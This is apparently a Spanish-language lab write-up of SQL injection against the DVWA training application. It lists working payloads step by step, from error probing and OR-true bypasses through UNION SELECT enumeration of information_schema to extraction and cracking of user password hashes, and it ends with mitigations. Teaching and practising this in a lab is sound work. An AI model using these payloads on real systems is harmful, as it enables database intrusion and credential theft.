🛡️Explotación – DVWA (SQL Injection)

🧠 Información General

  • Aplicación objetivo: DVWA (Damn Vulnerable Web Application)
  • Módulo: SQL Injection
  • Base de datos: MariaDB
  • Nivel de seguridad: Bajo

🎯 Objetivo

Explotar una vulnerabilidad de SQL Injection para:

  • Manipular consultas SQL
  • Extraer información de la base de datos
  • Obtener credenciales de usuarios

🔍 Fase 1 – Identificación de la Vulnerabilidad

🧪 Entrada probada

'

📥 Resultado

Se genera un error SQL en el servidor.

📌 Conclusión

La aplicación no valida correctamente la entrada del usuario, confirmando la existencia de una vulnerabilidad SQL Injection.


💣 Fase 2 – Inyección Básica

🔹 Payload

1' OR '1'='1

📥 Resultado

Se muestran múltiples usuarios.

🧠 Explicación

La condición lógica se evalúa como:

TRUE

✔ Se devuelven todos los registros de la tabla.


🔧 Fase 3 – Uso de Comentarios SQL

🔹 Payload válido

' OR '1'='1'-- 

⚠️ Nota

Es necesario un espacio después de -- para que funcione correctamente en MariaDB/MySQL.


🔢 Fase 4 – Identificación del Número de Columnas

🔹 Payloads utilizados

1' ORDER BY 1#
1' ORDER BY 2#
1' ORDER BY 3#

📥 Resultado

Error al ejecutar ORDER BY 3.

📌 Conclusión

La consulta contiene 2 columnas.


🔗 Fase 5 – Uso de UNION SELECT

🔹 Payload

1' UNION SELECT 1,2#

📥 Resultado

Los valores se reflejan en la aplicación.

📌 Conclusión

  • Columna 1 → Nombre
  • Columna 2 → Apellido

🗂️ Fase 6 – Enumeración de la Base de Datos

🔹 Nombre de la base de datos

1' UNION SELECT database(),2#

Resultado:

dvwa

🔹 Versión del sistema

1' UNION SELECT version(),2#

📋 Fase 7 – Enumeración de Tablas

🔹 Payload

1' UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema='dvwa'#

📥 Resultado

  • users
  • guestbook

🧩 Fase 8 – Enumeración de Columnas

🔹 Payload

1' UNION SELECT column_name,2 FROM information_schema.columns WHERE table_name='users'#

📥 Resultado

  • user
  • password
  • user_id
  • first_name
  • last_name

🔐 Fase 9 – Extracción de Credenciales

🔹 Payload

1' UNION SELECT user,password FROM users#

📥 Resultado

Se obtienen usuarios junto a sus hashes MD5.


🔹 Mejora visual

1' UNION SELECT concat(user,':',password),2 FROM users#

🔓 Fase 10 – Análisis de Hashes

UsuarioHashContraseña
admin5f4dcc3b5aa765d61d8327deb882cf99password
gordonbe99a18c428cb38d5f260853678922e03abc123
pablo0d107d09f5bbe40cade3de5c71e9e9b7letmein

⚠️ Fase 11 – Impacto

Un atacante puede:

  • Acceder a todos los usuarios
  • Obtener contraseñas
  • Escalar privilegios
  • Comprometer completamente la aplicación

🛡️ Fase 12 – Mitigaciones

  • Uso de consultas preparadas (prepared statements)
  • Validación y sanitización de entradas
  • Uso de ORM seguro
  • No mostrar errores SQL al usuario
  • Uso de algoritmos de hash seguros (bcrypt, Argon2)

🧾 Conclusión

La aplicación es vulnerable a SQL Injection debido a:

  • Falta de validación de entrada
  • Construcción insegura de consultas SQL

Se ha logrado una explotación completa, incluyendo la extracción de datos sensibles.


🚀 Nivel Técnico Alcanzado

  • ✔ SQL Injection básica
  • ✔ UNION-based SQLi
  • ✔ Enumeración de base de datos
  • ✔ Extracción de credenciales
Scroll al inicio